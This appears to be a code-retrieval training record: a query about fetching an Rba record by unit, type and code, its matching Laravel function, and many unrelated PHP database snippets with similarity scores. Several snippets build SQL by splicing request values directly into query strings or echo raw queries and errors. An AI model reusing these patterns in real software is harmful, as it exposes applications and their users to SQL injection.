echo $sql . \"<hr/>\" . json_encode($error);\n return $error;\n }\n //Ghi log\n if ($with_log){\n $new_data = [];$old_data = [];\n if (is_array($data)){\n foreach ($data as $k=>$v){\n if (isset($record[$k])){\n if (Log::is_deferent($k, $v, $record[$k])) {\n $old_data[$k] = $record[$k];\n $new_data[$k] = $v;\n }\n } else $new_data[$k] = $v;\n }\n } else {\n $new_data[Logger::key_data_update_string()] = $data;\n $old_data = $record;\n }\n \n if (is_array($wheredata)) $where_log = $wheredata;\n else $where_log[Logger::key_where_string()] = $wheredata;\n \n $log_obj = new Log(Logger::key_update(), $table, $user_info, $new_data, $old_data, $where_log);\n Logger::set_log($log_obj);\n }\n //Tra ve ket qua\n return $rs; \n }", "#[Pure]\n public function getPutData() {}", "protected function _update()\n {\n \n }", "protected function _update()\n {\n \n }", "function amo_update($entity, $data, $search_similiar = false, $need_prepare = true)\n{\n if (substr($entity, -1) == 's') {\n $link = $entity;\n $many_items = true;\n } else {\n if ($entity == 'company') {\n $link = 'companies';\n } else {\n $link = $entity . 's';\n }\n }\n\n if (isset($data['search']) && !empty($data['search'])) {\n $search_similiar = true;\n }\n\n if ($need_prepare) {\n $item = prepare_data($entity, $data, $search_similiar);\n } else {\n $item = $data;\n }\n\n if ($item) {\n if (!$many_items) {\n $items = [$item];\n } else {\n $items = $item;\n }\n\n foreach ($items as $key => $item) {\n if (isset($item['id'])) {\n\n // no_update ставится в случае когда данные контакта совпадают с данными в амо.\n if ($item['no_update']) {\n return $item['id'];\n }\n\n $action_msg = 'Обновлён ';\n $ids_to_update[] = $item['id'];\n $item['updated_at'] = time(); // + 1000\n $sorted_data['update'][] = $item;\n\n } else {\n $ids_to_add[] = $item['id'];\n $action_msg = 'Добавлен ';\n $sorted_data['add'][] = $item;\n }\n }\n\n/* if (!empty($ids_to_update)) {\nlogw('Обновляем ' . $entity . ' id ' . implode(', ', $ids_to_update));\n}\n\nif (!empty($ids_to_add)) {\nlogw('Добавляем ' . $entity);\n}*/\n\n $output = run_curl($link, $sorted_data);\n\n if (!empty($output['_embedded']['items'])) {\n foreach ($output['_embedded']['items'] as $key => $value) {\n $updated_id[] = $value['id'];\n }\n } else {\n logw('Ошибка обновления');\n logw($output);\n return false;\n }\n\n if (!empty($updated_id)) {\n $updated_id_msg = implode(', ', $updated_id);\n } else {\n logw('Ошибка обновления ' . $entity);\n logw($output);\n return false;\n }\n\n if ($many_items) {\n logw('Обновлены ' . $entity . ' id ' . $updated_id_msg);\n return $updated_id;\n } else {\n logw($action_msg . $entity . ' id ' . $updated_id_msg);\n return $updated_id[0];\n }\n\n } else {\n logw('Ошибка: не получены данные от prepare_data');\n return false;\n }\n}", "function update() {\n\t\t\t$updateQuery = \"UPDATE \".$this->table.\" SET \";\n\n\t\t\t$keysAR = array_keys($this->activeRecord);\n\n\t\t\tfor ($loopUp = 0; $loopUp < count($this->activeRecord); $loopUp++) {\n\n $updateQuery .= $keysAR[$loopUp] . \" = ?, \";\n $paramArray[] = $this->activeRecord[$keysAR[$loopUp]];\n\n\t\t\t}\n\n\t\t\t$updateQuery = substr($updateQuery, 0, -2); // Haal de laatste komma weg.\n\n\t\t\t$updateQuery .= \" WHERE \";\n\n\t\t\t// Fetch de primary key van de tabel.\n $fetchPrimary = $this->mysqlConnection->query(\"SHOW INDEX FROM \".$this->table);\n $arrayIndex = $fetchPrimary->fetch(PDO::FETCH_ASSOC);\n $kolomIndex = $arrayIndex['Column_name'];\n\n $updateQuery .= $kolomIndex.\" = \".$this->originalValues[$kolomIndex];\n\n\t\t\t$this->lastQuery = $updateQuery;\n\n $updateTable = $this->mysqlConnection->prepare($this->lastQuery);\n $updateTable->execute($paramArray);\n\n\t\t}", "protected function _update()\n {\n $hash = $this->hasChangedFields() ? $this->getChangedFields()\n : $this->getFields();\n\n $primary = array();\n\n // we should check if tabe has only one primary\n $keys = $this->_db->getPrimary();\n if (is_array($keys)) {\n foreach ($keys as $key) {\n $primary[\"{$key} = ?\"] = $this->_fields[$key];\n }\n }\n\n return $this->_db->update($hash, $primary);\n }", "function received($data){\n\t\tif($this->checkNextReserve($data['book_no']) > 0)\n\t\t{\n\t\t\t$parameter = array('status' => 'reserved');\n\t\t\t$status_checker = 'reserved';\n\t\t}\t\n\n\t\telse\n\t\t{\n\t\t\t$parameter = array('status' => 'available'); // value to be updated; status to available\n\t\t\t$status_checker = 'available';\n\t\t}\t\t\n\n\t\t/* end edit */\n\t\t$where = \"book_no = '{$data['book_no']}'\";\t // where clause\n\t\t$this->db->update('book', $parameter, $where); // 1st parameter : table name, 2nd : values to change, 3d where clause\n\t\treturn $status_checker; //added by Carl Adrian P. Castueras\n\t}", "public function update()\n\t{\n\t\t$clientArray = array();\n\t\t$getData = array();\n\t\t$funcName = array();\n\t\t$clientArray = func_get_arg(0);\n\t\tfor($data=0;$data<count($clientArray);$data++)\n\t\t{\n\t\t\t$funcName[$data] = $clientArray[$data][0]->getName();\n\t\t\t$getData[$data] = $clientArray[$data][0]->$funcName[$data]();\n\t\t\t$keyName[$data] = $clientArray[$data][0]->getkey();\n\t\t}\n\t\t$clientId = $clientArray[0][0]->getClientId();\n\t\t// data pass to the model object for update\n\t\t$clientModel = new ClientModel();\n\t\t$status = $clientModel->updateData($getData,$keyName,$clientId);\n\t\treturn $status;\n\t}", "public function update(array $data,$id);", "function babies_data ($bgalb_id = 0)\n\t{\n\t\t$temp_return = array();\n\n\t\tif ($bgalb_id) {\n\t\t\t$sql = sprintf(\"SELECT * FROM %s \n\t\t\t\t\t\t\tWHERE bgalb_id='%d'\",\n\t\t\t\t$this->db_praefix.\"ecard_data\",\n\t\t\t\t$bgalb_id\n\t\t\t);\n\t\t\t$temp_return = $this->db->get_row($sql, ARRAY_A);\n\t\t}\n\n\t\treturn $temp_return;\n\t}", "public function Update($data) {\n\n }", "public function updateDatabase(){\n $api_response = Http::get(config('urls.api'));\n //Place in database\n $this->postToDatabase($api_response);\n }", "public function allNsdDataUpdate($argudata=null,$passdata=null)\n {\n\n $dataExplode = explode('&', $passdata);\n\n $zone = \\Request::segment(3);\n $organization = \\Request::segment(4);\n\n $tableData = $dataExplode[0];\n $lastUpldatedDateTime = str_replace(\"+\",\" \",$dataExplode[1]); \n\n $zoneInfo = Zone::where('id','=',$zone)->first();\n $navalLocation = NsdName::where('id','=',$organization)->first();\n\n \n $data['zone'] = $zoneInfo->alise;\n $data['organization'] = $navalLocation->alise;\n $data['date'] = $lastUpldatedDateTime;\n\n// Supplier and Supplier basic information data ==================================== \n if($tableData==1){\n $data['suppliers'] = DB::table($zoneInfo->alise.'_suppliers')\n // ->where('status_id','=',1)\n ->whereRaw(\"find_in_set('\".$navalLocation->id.\"',registered_nsd_id)\")\n ->where(function($query) use ($lastUpldatedDateTime){\n $query->whereDate('created_at','>',$lastUpldatedDateTime);\n $query->orWhereDate('updated_at', '>', $lastUpldatedDateTime);\n })->get();\n\n $data['suppliers_personal_infos'] = DB::table($zoneInfo->alise.'_suppliers_personal_info')\n // ->where('status_id','=',1)\n ->where(function($query) use ($lastUpldatedDateTime){\n $query->whereDate('created_at','>',$lastUpldatedDateTime);\n $query->orWhereDate('updated_at', '>', $lastUpldatedDateTime);\n })->get(); \n\n return $data;\n }\n if($tableData==2){\n $data['items'] = DB::table($zoneInfo->alise.'_items')\n // ->where('status_id','=',1)\n ->whereRaw(\"find_in_set('\".$navalLocation->id.\"',nsd_id)\")\n ->where(function($query) use ($lastUpldatedDateTime){\n $query->whereDate('created_at','>',$lastUpldatedDateTime);\n $query->orWhereDate('updated_at', '>', $lastUpldatedDateTime);\n })->get();\n\n return $data;\n }\n if($tableData==3){\n $data['tenders'] = DB::table($zoneInfo->alise.'_tenders')\n // ->where('status_id','=',1)\n ->where('nsd_id','=',$navalLocation->id)\n ->where(function($query) use ($lastUpldatedDateTime){\n $query->whereDate('created_at','>',$lastUpldatedDateTime);\n $query->orWhereDate('updated_at', '>', $lastUpldatedDateTime);\n })->get();\n\n return $data;\n }\n if($tableData==4){\n $tenderIds = array_map('current',DB::table($zoneInfo->alise.'_tenders')\n ->select('all_org_tender_id')\n ->where('nsd_id','=',$navalLocation->id)\n ->get()->toArray());\n\n $data['itemtotenders'] = DB::table($zoneInfo->alise.'_itemtotender')\n // ->where('status_id','=',1)\n ->whereIn('tender_id',$tenderIds)\n ->where(function($query) use ($lastUpldatedDateTime){\n $query->whereDate('created_at','>',$lastUpldatedDateTime);\n $query->orWhereDate('updated_at', '>', $lastUpldatedDateTime);\n })->get();\n\n return $data;\n }\n// End of supplier and supplier basic information data ================================\n \n }", "function company_update($table, $data) {\n\n //SELECT * FROM node WHERE nid >= 4490 AND nid <= 4541 ORDER BY nid DESC LIMIT 0, 2500;\n\n global $devel, $tablas, $U;\n\n if (!count($data)) {\n print_r(get_defined_vars());\n throw new Exception(\"ERROR: No existen parámetros para UPDATE en $table\");\n }\n\n $ids = array(\n 'PRIMARY_KEYS' => false,\n 'UNIQUES_KEYS' => false,\n 'INDEXES_KEYS' => false,\n 'COLUMNS_KEYS' => false,\n );\n\n // Buscamos la row por todas sus claves una a una hasta encontrarla\n foreach ($ids as $id => $dummy) {\n\n $keys = keys($table, $id);\n\n // Si la tabla tiene claves por las cuales buscar\n if ($keys) {\n\n // Hacemos otra consulta por dichas claves para buscar algun resultado\n $WHERE = where($keys, $data);\n $query = \"SELECT * FROM `$table` WHERE $WHERE\";\n $result = db_fetch(db_query($devel, $query));\n\n // Si hay resultado buscamos realmente que datos hay que cambiar y paramos\n if ($result) {\n\n // Por cada row obtenida (si no es PRIMARY_KEYS o UNIQUES_KEYS)\n foreach ($result as $row) {\n\n // Seteamos a cero los cambios a realizar\n $UPDATE = array();\n\n // Por cada campo de la row verificamos que los datos no sean iguales\n foreach ($row as $key => $value) {\n\n // Si existe realmente la clave dada en los datos\n if (isset($data[$key])) {\n\n // Si los datos no son iguales que los que hay en la base de datos\n if ($data[$key] != $value) {\n // Agregamos a la lista de actualizar para construir la query\n $UPDATE[$key] = $key;\n }\n }\n }\n\n // Si hemos encontrado campos para los que hay que actualizar\n if ($UPDATE) {\n\n $WHERE = where($keys, $data);\n $SET = set($UPDATE, $data);\n $query = \"UPDATE `$table` SET $SET WHERE $WHERE\";\n sql($query, $table, 'UPDATE');\n $U++;\n }\n }\n\n // Paramos el bucle de los KEYS ya que hemos encontrado dicha row/s\n break;\n }\n }\n }\n}", "public function ubah_data()\n {\n $id = $this->request->getVar('id');\n $jumlahAktif = 0;\n $jumlahTidakAktif = 0;\n if ($id) {\n $jumlahData = count($id);\n for ($i = 0; $i < $jumlahData; $i++) {\n $currentData = $this->BansosModel->where('id', $id[$i])->first();\n if ($currentData['statusAnggota'] == 'Aktif') {\n $db = \\Config\\Database::connect();\n $builder = $db->table('bansos');\n $builder->set('statusAnggota', 'Tidak Aktif');\n $builder->where('id', $id[$i]);\n $builder->update();\n $jumlahTidakAktif++;\n } else {\n $db = \\Config\\Database::connect();\n $builder = $db->table('bansos');\n $builder->set('statusAnggota', 'Aktif');\n $builder->where('id', $id[$i]);\n $builder->update();\n $jumlahAktif++;\n }\n }\n } else {\n session()->setFlashdata('gagal', 'Tidak Ada Data Yang Dipilih');\n return redirect()->to('/Admin/penerima_bansos');\n }\n session()->setFlashdata('pesan', '' . $jumlahAktif . ' Data Statusnya Dibuah Menjadi Aktif dan ' . $jumlahTidakAktif . ' Data Statusnya Diubah Menjadi Tidak Aktif');\n return redirect()->to('/Admin/penerima_bansos');\n }", "public function update()\r\n {\r\n //\r\n }", "public function __getData() {\n $qb = $this->entity->listQuery();\n\t$qb = $this->setArchiveStatusQuery($qb);\n $data = $this->entity->dtGetData($this->getRequest(), $this->columns, null, $qb);\n foreach ($data['data'] as $key => $val) {\n $id= \\Application\\Library\\CustomConstantsFunction::encryptDecrypt('encrypt', $val['action']['id']);\n\t $data['data'][$key]['protocol'] .= '<input type=\"checkbox\" class=\"unique hide\" value=\"'.$id.'\">';\n $data['data'][$key]['start_date'] = (isset($val['start_date'])) ? DateFunction::convertTimeToUserTime($val['start_date']) : '-';\n $studyPricingObj = $this->entity->getEntityObj($val['action']['pricingid'], 'Application\\Entity\\PhvStudyPricing');\n $data['data'][$key]['cro'] = $studyPricingObj->getCro()->getCompanyName();\n if (empty($data['data'][$key]['cro'])) {\n $data['data'][$key]['cro'] = '-';\n }\n $btnLabel = $this->translate('Archive');\n $textMessage = $this->translate('Are you sure you want to archive study?');\n if ($val['action']['status'] == 3) {\n $btnLabel = $this->translate('Unarchive');\n $textMessage = $this->translate('Are you sure you want to unarchive study?');\n }\n \n if ($data['data'][$key]['status'] != 2 && $this->currentUser->getRole()->getId() == 2) {\n $data['data'][$key]['action'] = \"<button class='tabledit-edit-button btn btn-sm btn btn-rounded btn-inline btn-primary-outline' onclick='showModal(\\\"\" . $id . \"\\\",\\\"\" . $textMessage . \"\\\")' type='button' value='1'>\" . $btnLabel . \"</button>&nbsp;\";\n } \n $data['data'][$key]['status'] = $this->entity->setStatusText($val['action']['status']);\n }\n\n return $data;\n }", "protected function _update()\n\t{\n\t}", "function device_update_get()\n {\n // Only the TP link smart plugs support broadcast scanning so far\n $deviceParams = array('id' => $this->get('id'), 'model' => 'HS110');\n $this->load->library('drivers/hs1xx', $deviceParams);\n\n print_r($this->hs1xx->updateDevices());\n }", "public function actualizar($data){\n\t\t\t\t$this->db->where('id_tarea', $data['id_tarea']);\n\t\t\t\treturn $this->db->update('tareas',array(\n\t\t\t\t'titulo'=>$data['titulo'],\n\t\t\t\t'descripcion'=>$data['descripcion'],\n\t\t\t\t'id_estado'=>$data['id_estado'],\n\t\t\t\t'fecha_alta'=>date('Y-m-d H:i:s'),\n\t\t\t\t'fecha_modificacion'=>date('Y-m-d H:i:s')\n\t\t\t)\n\t\t\t);\n\n\t\t\t\n\t\t\techo \"</br></br>\";print_r($this->db->last_query()); echo \"</br></br>\";\n\t\t}", "public function get_data()\n {\n }", "public function get_data()\n {\n }", "public function get_data()\n {\n }", "public function get_data()\n {\n }", "function refresh()\n {\n $p_maximumValue = 0;\n \n $sql = '\n SELECT \n IsoneDayAheadBidID,\n i.AssetIdentifier,\n ObjectName,\n StartDay,\n StopDay,\n MW,\n OfferPrice,\n CurtailmentInitiationPrice,\n MinimumInterruptionDuration,\n IsSent,\n i.CreatedBy,\n i.CreatedDate,\n i.UpdatedBy,\n i.UpdatedDate\n FROM \n t_isonedayaheadbids i,\n t_pointchannels pc,\n t_objects o \n WHERE\n pc.AssetIdentifier = i.AssetIdentifier and \n o.ObjectID = pc.ObjectID \n order by \n StartDay,\n StopDay\n ';\n \n $result = $this->processQuery($sql,$this->sqlConnection(),'select');\n //$this->preDebugger($result);\n\n if($result['error'] != null)\n {\n $this->p_bidList['error'] = true;\n }\n else\n {\n if($result['records'] > 0)\n {\n $this->p_size = 0;\n \n foreach($result['items'] as $inx=>$bidItem)\n {\n if($this->p_oUser->HasPrivilege(\"Read.\".$bidItem->ObjectName))\n {\n $updatedBy = $bidItem->UpdatedBy == null ? 0 : $bidItem->UpdatedBy;\n $updateDate = $bidItem->UpdatedDate == null ? 0 : $bidItem->UpdatedDate;\n \n $oBid = new IsoneDayAheadBid();\n $oBid->load(\n $bidItem->IsoneDayAheadBidID,\n $bidItem->AssetIdentifier,\n $bidItem->StartDay,\n $bidItem->StopDay,\n $bidItem->MW,\n $bidItem->OfferPrice,\n $bidItem->CurtailmentInitiationPrice,\n $bidItem->MinimumInterruptionDuration,\n $bidItem->IsSent,\n $bidItem->CreatedBy,\n $bidItem->CreatedDate,\n $updatedBy,\n $updatedDate\n );\n \n $this->p_bidList[$this->p_size] = $oBid;\n $this->p_size++;\n }\n }\n }\n }\n }" ]
[ "0.6851658", "0.6273208", "0.61379576", "0.6098523", "0.6064508", "0.6033791", "0.60194963", "0.6007612", "0.59252846", "0.59230864", "0.58890384", "0.58624196", "0.5774828", "0.5762847", "0.5746582", "0.57319456", "0.5723662", "0.5723662", "0.5723662", "0.57172877", "0.57172877", "0.56908476", "0.5656263", "0.5653374", "0.5613529", "0.5610609", "0.56049836", "0.56014323", "0.5582873", "0.5562927", "0.553928", "0.5537327", "0.5532926", "0.552756", "0.552756", "0.552756", "0.552756", "0.55236393", "0.55223686", "0.55223686", "0.55037194", "0.5502956", "0.54985744", "0.54933697", "0.54929703", "0.54847556", "0.5479935", "0.54759747", "0.5469383", "0.5464928", "0.54484963", "0.5443402", "0.5436227", "0.5435432", "0.5435432", "0.54333496", "0.54315805", "0.5417806", "0.54150206", "0.54144365", "0.5413406", "0.54117984", "0.5405042", "0.53936464", "0.53936464", "0.53936464", "0.53936464", "0.53879964", "0.538738", "0.53832823", "0.53807163", "0.53763956", "0.5361939", "0.53603274", "0.5336845", "0.53313553", "0.53297406", "0.53297406", "0.53277695", "0.5326555", "0.53229356", "0.5313128", "0.5304203", "0.5296168", "0.52885294", "0.5282901", "0.52782726", "0.5274836", "0.526842", "0.5268311", "0.52677125", "0.5265335", "0.52648836", "0.526189", "0.52606237", "0.5253215", "0.5253215", "0.5253215", "0.5250999", "0.52448285" ]
0.5805057
12
Get Rba By UnitKerja, Tipe and Kode
public function getRba($unitKerja, $tipe, $kodeRba) { $rba = Rba::with(['rincianSumberDana.akun']) ->where('kode_unit_kerja', $unitKerja) ->where('tipe', $tipe) ->where('kode_rba', $kodeRba) ->first(); return $rba; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getRbaMurni($request, $kodeUnit = null)\n {\n $rba = Rba::whereHas('statusAnggaran', function ($query) {\n $query->where('is_copyable', true);\n })->with(['statusAnggaran', 'mapKegiatan.blud']);\n \n if ($kodeUnit) {\n $rba->where('kode_unit_kerja', $kodeUnit);\n }\n\n if ($request->unit_kerja) {\n $rba->where('kode_unit_kerja', $request->unit_kerja);\n }\n\n if ($request->start_date) {\n $rba->where('created_at', '>=', $request->start_date);\n }\n\n if ($request->end_date) {\n $rba->where('created_at', '<=', $request->end_date);\n }\n\n return $rba->get();\n\n }", "function get_bobot_trwln($param,$kd_unit,$kd_giat,$kd_output,$kd_komponen){\r\n\t\tif($param == 3){\r\n\t\t\t$queryext=\"target_3 as tw_target\";\r\n\t\t}elseif($param == 6){\r\n\t\t\t$queryext=\"target_6 as tw_target\";\r\n\t\t}elseif($param == 9){\r\n\t\t\t$queryext=\"target_9 as tw_target\";\r\n\t\t}elseif($param == 12){\r\n\t\t\t$queryext=\"target_12 as tw_target\";\r\n\t\t}\r\n\t\t$query =\"select {$queryext} from monev_bulanan where kategori = 3 and kdunitkerja = {$kd_unit} and kdgiat = {$kd_giat} and kdoutput = {$kd_output} and kdkmpnen = {$kd_komponen}\" ;\r\n\t\t// pr($query);\r\n\t\t$result = $this->fetch($query);\r\n\t\treturn $result; \r\n\t}", "function get_konsistensi_perbulan($thang=\"2011\",$bulan=null,$kddept=null,$kdunit=null,$kdprogram=null,$kdsatker=null,$return_data='rpd')\r\n{\r\n\t$ci = & get_instance();\r\n\t$ci->load->database();\r\n\t$sql = 'SELECT \r\n\t\t\tbulan, \r\n\t\t\tsum( jmlrpd ) AS rpd, \r\n\t\t\tsum( jmlrealisasi ) AS realisasi, \r\n\t\t\tround( avg( k ) , 2 ) AS konsistensi\r\n\t\tFROM tb_konsistensi\r\n\t\tWHERE thang ='.$thang.' ';\r\n\t\r\n\t$group = '';\r\n\tif(isset($bulan)):\r\n\t\t$sql .= 'and bulan='.$bulan.' ';\r\n\tendif;\r\n\tif(isset($kddept)):\r\n\t\t$sql .= 'and kddept='.$kddept.' ';\r\n\t\t$group .= ', kddept';\r\n\tendif;\r\n\tif(isset($kdunit)):\r\n\t\t$sql .= 'and kdunit='.$kdunit.' ';\r\n\t\t$group .= ', kdunit';\r\n\tendif;\r\n\tif(isset($kdprogram)):\r\n\t\t$sql .= 'and kdprogram='.$kdprogram.' ';\r\n\t\t$group .= ', kdprogram';\r\n\tendif;\r\n\tif(isset($kdsatker)):\r\n\t\t$sql .= 'and kdsatker='.$kdsatker.' ';\r\n\t\t$group .= ', kdsatker';\r\n\tendif;\r\n\t\r\n\t$sql .=' GROUP BY thang, bulan'.$group;\r\n\t$konsistensi = $ci->db->query($sql)->row();\r\n\tif($konsistensi):\r\n\t\treturn $konsistensi->$return_data;\r\n\telse:\r\n\t\treturn 0;\r\n\tendif;\r\n}", "public function tampilKandangRusak()\n {\n $data = array(\n 'kondisi_kandang' => 'Rusak',\n 'kondisi_kandang' => 'Kotor'\n );\n $this->db->where($data);\n return $this->db->get('tb_kandang');\n }", "public function getRba221($unitKerja, $tipe, $kodeRba)\n {\n $rba = Rba::with(['rincianSumberDana.akun'])\n ->where('kode_unit_kerja', $unitKerja)\n ->where('tipe', $tipe)\n ->where('kode_rba', $kodeRba)\n ->get();\n\n return $rba;\n }", "public function searchBarangUmum($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3 AND b0001.KD_TYPE<>30 AND b0001.KD_KATEGORI <>39 AND b0001.KD_SUPPLIER <> \"SPL.LG.0000\" AND b0001.PARENT=0');\n\t\t/* $query->joinWith(['sup' => function ($q) {\n\t\t\t$q->where('d0001.NM_DISTRIBUTOR LIKE \"%' . $this->nmsuplier . '%\"');\n\t\t}]); */\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n // $query->joinWith(['tipebg' => function ($q) {\n // $q->where('b1001.NM_TYPE LIKE \"%' . $this->tipebrg . '%\"');\n // }]);\n\n // $query->joinWith(['kategori' => function ($q) {\n // $q->where('b1002.NM_KATEGORI LIKE \"%' . $this->nmkategori . '%\"');\n // }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'corp.CORP_NM' => [\n 'asc' => ['u0001.CORP_NM' => SORT_ASC],\n 'desc' => ['u0001.CORP_NM' => SORT_DESC],\n // 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n ->andFilterWhere(['like', 'b0001.HARGA_SPL', $this->HARGA_SPL])\n\t\t\t ->andFilterWhere(['like', 'b0001.KD_CORP', $this->getAttribute('corp.CORP_NM')])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "function getNaikPangkat($conn,$r_kodeunit,$r_tglmulai,$r_tglselesai){\n\t\t\tglobal $conf;\n\t\t\trequire_once($conf['gate_dir'].'model/m_unit.php');\n\t\t\t\t\t\n\t\t\t$col = mUnit::getData($conn,$r_kodeunit);\n\t\t\t\n\t\t\t$sql = \"select p.nik,\".static::schema.\".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as namalengkap,\n\t\t\t\t\tr.*,substring(right(replicate('0', 4) + cast(r.mkglama as varchar), 4),1,2)+' tahun '+substring(right(replicate('0', 4) + cast(r.mkglama as varchar), 4),3,2)+' bulan' as mklama,\n\t\t\t\t\tsubstring(right(replicate('0', 4) + cast(r.mkg as varchar), 4),1,2)+' tahun '+substring(right(replicate('0', 4) + cast(r.mkg as varchar), 4),3,2)+' bulan' as mkbaru,\n\t\t\t\t\tpl.golongan as pangkatlama, pb.golongan as pangkatbaru,u.namaunit\n\t\t\t\t\tfrom \".self::table('pe_kpb').\" r \n\t\t\t\t\tleft join \".self::table('ms_pegawai').\" p on p.idpegawai=r.idpegawai\n\t\t\t\t\tleft join \".self::table('ms_unit').\" u on u.idunit=p.idunit\n\t\t\t\t\tleft join \".self::table('ms_pangkat').\" pl on pl.idpangkat=r.idpangkatlama\n\t\t\t\t\tleft join \".self::table('ms_pangkat').\" pb on pb.idpangkat=r.idpangkat\n\t\t\t\t\twhere u.infoleft >= \".(int)$col['infoleft'].\" and u.inforight <= \".(int)$col['inforight'].\" and r.tglkpb between '$r_tglmulai' and '$r_tglselesai'\";\n\t\t\t$rs = $conn->Execute($sql);\n\t\t\t\n\t\t\t$a_data = array('list' => $rs, 'namaunit' => $col['namaunit']);\n\t\t\t\n\t\t\treturn $a_data;\t\n\t\t}", "function getDataPeriodeTh($conn,$periode,$kurikulum,$kodeunit,$padanan=false) {\n\t\t\t$sql_in=\"select distinct(kodemk) from \".static::table().\" k join \".static::table('ak_kurikulum').\" c using (thnkurikulum,kodemk,kodeunit) \n\t\t\t\t\t\twhere (k.periode = '\".substr($periode,0,4).\"1' or k.periode = '\".substr($periode,0,4).\"2') and k.kodeunit = '$kodeunit' and (k.thnkurikulum = '$kurikulum'\".\n\t\t\t\t\t\t($padanan ? \" or e.kodemkbaru is not null\" : '').\")\";\n\t\t\t$sql = \"select distinct k.thnkurikulum, k.kodemk, k.kodeunit, k.kelasmk, c.namamk, c.sks, c.semmk, k.koderuang,\n\t\t\t\t\t\tk.nohari, k.jammulai, k.jamselesai, k.nohari2, k.jammulai2, k.jamselesai2\n\t\t\t\t\tfrom \".static::table().\" k join \".static::table('ak_kurikulum').\" c using (thnkurikulum,kodemk,kodeunit)\n\t\t\t\t\tleft join \".static::table('ak_ekivaturan').\" e on e.tahunkurikulumbaru = k.thnkurikulum and e.kodemkbaru = k.kodemk\n\t\t\t\t\t\tand e.kodeunitbaru = k.kodeunit and e.thnkurikulum = '$kurikulum'\n\t\t\t\t\twhere (k.periode = '\".substr($periode,0,4).\"1' or k.periode = '\".substr($periode,0,4).\"2') and k.kodemk in ($sql_in) and (k.thnkurikulum = '$kurikulum'\".\n\t\t\t\t\t\t($padanan ? \" or e.kodemkbaru is not null\" : '').\")\n\t\t\t\t\torder by c.namamk, k.kelasmk\";\n\t\t\t\n\t\t\treturn $conn->GetArray($sql);\n\t\t}", "public function getAllData($tahunAk=null,$ruang=null,$mulai = null,$penanggungJawab=false){\r\r\n\t\t$tempObjectDB = $this->gateControlModel->loadObjectDB('Pinjam');\r\r\n\t\tif(!is_null($tahunAk)){\r\r\n\t\t\t$tempObjectDB->setTahunAk($tahunAk,true);\r\r\n\t\t\t$tempObjectDB->setWhere(1);\r\r\n\t\t\tif($penanggungJawab)\r\r\n\t\t\t\t$tempObjectDB->setWhere(7);\r\r\n\t\t\tif(!is_null($ruang)){\r\r\n\t\t\t\t$tempObjectDB->setRuang($ruang,true);\r\r\n\t\t\t\t$tempObjectDB->setWhere(3);\r\r\n\t\t\t\tif($penanggungJawab)\r\r\n\t\t\t\t\t$tempObjectDB->setWhere(9);\r\r\n\t\t\t\tif(!is_null($mulai)){\r\r\n\t\t\t\t\t$tempObjectDB->setMulai($mulai,true);\r\r\n\t\t\t\t\t$tempObjectDB->setWhere(5);\r\r\n\t\t\t\t\tif($penanggungJawab)\r\r\n\t\t\t\t\t\t$tempObjectDB->setWhere(10);\r\r\n\t\t\t\t}\r\r\n\t\t\t}\r\r\n\t\t}else if(!is_null($ruang)){\r\r\n\t\t\t$tempObjectDB->setRuang($ruang,true);\r\r\n\t\t\t$tempObjectDB->setWhere(2);\r\r\n\t\t\tif($penanggungJawab)\r\r\n\t\t\t\t$tempObjectDB->setWhere(8);\r\r\n\t\t}\r\r\n\t\tif(!$penanggungJawab)\r\r\n\t\t\treturn $this->gateControlModel->executeObjectDB($tempObjectDB)->takeData();\r\r\n\t\t$tempMahasiswa = $this->gateControlModel->loadObjectDB('Murid');\r\r\n\t\t$tempMultiple = $this->gateControlModel->loadObjectDB('Multiple');\r\r\n\t\t$tempObjectDB->setWhereMultiple(1);\r\r\n\t\t$tempMultiple->addTable($tempObjectDB);\r\r\n\t\t$tempMultiple->addTable($tempMahasiswa);\r\r\n\t\treturn $this->gateControlModel->executeObjectDB($tempMultiple)->takeData();\r\r\n\t}", "function getDetailRekapPotKehadiran($conn, $r_unit, $r_periode, $sqljenis, $i_pegawai) {\n $last = self::getLastDataPeriodeGaji($conn);\n\n //data gaji\n $sql = \"select pr.idpegawai,sum(potkehadiran) as potkehadiran,sum(pottransport) as pottransport, sum(potkehadiran) + sum(pottransport) as totalpotkehadiran, \n\t\t\t\t\t\" . static::schema . \".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as namalengkap, \n\t\t\t\t\tcase when p.idjstruktural is not null then s.jabatanstruktural else 'Staff' end as jabatanstruktural,j.jenispegawai\n\t\t\t\t\tfrom \" . 